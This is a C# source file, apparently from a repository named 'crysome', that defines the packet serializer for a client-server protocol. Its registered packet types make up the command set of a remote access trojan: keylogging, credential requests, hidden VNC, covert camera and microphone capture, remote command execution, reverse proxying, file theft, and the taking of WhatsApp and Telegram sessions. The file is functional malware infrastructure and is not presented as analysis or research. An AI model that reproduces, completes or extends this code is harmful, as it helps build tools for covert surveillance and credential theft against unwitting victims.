Files
crysome/Crysome.Common.Client/Crysome.Common.Network.Packets/PacketSerializer.cs
T
2026-08-27 11:22:54 -06:00

134 lines
5.2 KiB
C#

using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using Crysome.Common.Network.FileTransfer;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
namespace Crysome.Common.Network.Packets;
public static class PacketSerializer
{
private static readonly Dictionary<byte, Type> IdToType;
private static readonly Dictionary<Type, byte> TypeToId;
static PacketSerializer()
{
IdToType = new Dictionary<byte, Type>();
TypeToId = new Dictionary<Type, byte>();
Register(1, typeof(ClientInfoResponsePacket));
Register(2, typeof(ClientInfoRequestPacket));
Register(3, typeof(PingResponsePacket));
Register(4, typeof(PingRequestPacket));
Register(5, typeof(RunCommandResponsePacket));
Register(6, typeof(RunCommandRequestPacket));
Register(7, typeof(DirectLinkResponsePacket));
Register(8, typeof(DirectLinkRequestPacket));
Register(9, typeof(FileTransferResponsePacket));
Register(10, typeof(FileTransferRequestPacket));
Register(11, typeof(GetSystemInfoResponsePacket));
Register(12, typeof(GetSystemInfoRequestPacket));
Register(13, typeof(GetDrivesResponsePacket));
Register(14, typeof(GetDrivesRequestPacket));
Register(15, typeof(GetDirectoryResponsePacket));
Register(16, typeof(GetDirectoryRequestPacket));
Register(17, typeof(NotifyStatusResponsePacket));
Register(18, typeof(DeleteFileRequestPacket));
Register(19, typeof(DownloadFileRequestPacket));
Register(20, typeof(RestartRequestPacket));
Register(21, typeof(SendFileRequestPacket));
Register(22, typeof(TakeScreenshotRequestPacket));
Register(23, typeof(TakeScreenshotResponsePacket));
Register(24, typeof(StartProxyRequestPacket));
Register(25, typeof(StopProxyRequestPacket));
Register(26, typeof(ProxyStatusResponsePacket));
Register(27, typeof(GetProcessListRequestPacket));
Register(28, typeof(GetProcessListResponsePacket));
Register(29, typeof(KillProcessRequestPacket));
Register(30, typeof(RequestAudioPacket));
Register(31, typeof(AudioDataPacket));
Register(32, typeof(RequestCameraFramePacket));
Register(33, typeof(CameraFramePacket));
Register(34, typeof(StartRemoteDesktopPacket));
Register(35, typeof(StopRemoteDesktopPacket));
Register(36, typeof(DesktopFramePacket));
Register(37, typeof(RemoteInputPacket));
Register(38, typeof(ReverseProxyStartPacket));
Register(39, typeof(ReverseProxyDataPacket));
Register(40, typeof(ReverseProxyEndPacket));
Register(41, typeof(StartReverseProxyPacket));
Register(42, typeof(RequestCredentialsPacket));
Register(43, typeof(CredentialsResponsePacket));
Register(44, typeof(StartHvncPacket));
Register(45, typeof(StopHvncPacket));
Register(46, typeof(HvncFramePacket));
Register(47, typeof(HvncInputPacket));
Register(48, typeof(HvncRunRequestPacket));
Register(49, typeof(StartKeyloggerPacket));
Register(50, typeof(StopKeyloggerPacket));
Register(51, typeof(KeylogDataPacket));
Register(52, typeof(ChatMessagePacket));
Register(53, typeof(GetCameraDevicesPacket));
Register(54, typeof(CameraDevicesResponsePacket));
Register(55, typeof(GetAudioDevicesPacket));
Register(56, typeof(AudioDevicesResponsePacket));
Register(57, typeof(StartAudioStreamPacket));
Register(58, typeof(StopAudioStreamPacket));
Register(59, typeof(AudioStreamChunkPacket));
Register(60, typeof(ReadFileRequestPacket));
Register(61, typeof(ReadFileResponsePacket));
Register(62, typeof(GetScreensRequestPacket));
Register(63, typeof(ScreensResponsePacket));
Register(64, typeof(RdpSetQualityPacket));
Register(65, typeof(FtStartPacket));
Register(66, typeof(FtChunkPacket));
Register(67, typeof(FtSackPacket));
Register(68, typeof(FtDonePacket));
Register(69, typeof(FtAbortPacket));
Register(70, typeof(WriteFileRequestPacket));
Register(71, typeof(WriteFileResponsePacket));
Register(72, typeof(ClientInventoryReportPacket));
Register(73, typeof(WhatsAppSessionRequestPacket));
Register(74, typeof(WhatsAppSessionResponsePacket));
Register(75, typeof(OfflineKeylogDataPacket));
Register(76, typeof(TelegramSessionRequestPacket));
Register(77, typeof(TelegramSessionResponsePacket));
}
private static void Register(byte id, Type type)
{
IdToType[id] = type;
TypeToId[type] = id;
}
public static byte[] Serialize(IPacket packet)
{
using MemoryStream memoryStream = new MemoryStream();
using BinaryWriter binaryWriter = new BinaryWriter(memoryStream, Encoding.UTF8);
if (!TypeToId.TryGetValue(packet.GetType(), out var value))
{
throw new InvalidOperationException("Unknown packet type: " + packet.GetType().Name);
}
binaryWriter.Write(value);
packet.Write(binaryWriter);
binaryWriter.Flush();
return memoryStream.ToArray();
}
public static IPacket Deserialize(byte[] data)
{
using MemoryStream input = new MemoryStream(data);
using BinaryReader binaryReader = new BinaryReader(input, Encoding.UTF8);
byte key = binaryReader.ReadByte();
if (!IdToType.TryGetValue(key, out var value))
{
throw new InvalidOperationException("Unknown packet ID: " + key);
}
IPacket obj = (IPacket)Activator.CreateInstance(value);
obj.Read(binaryReader);
return obj;
}
}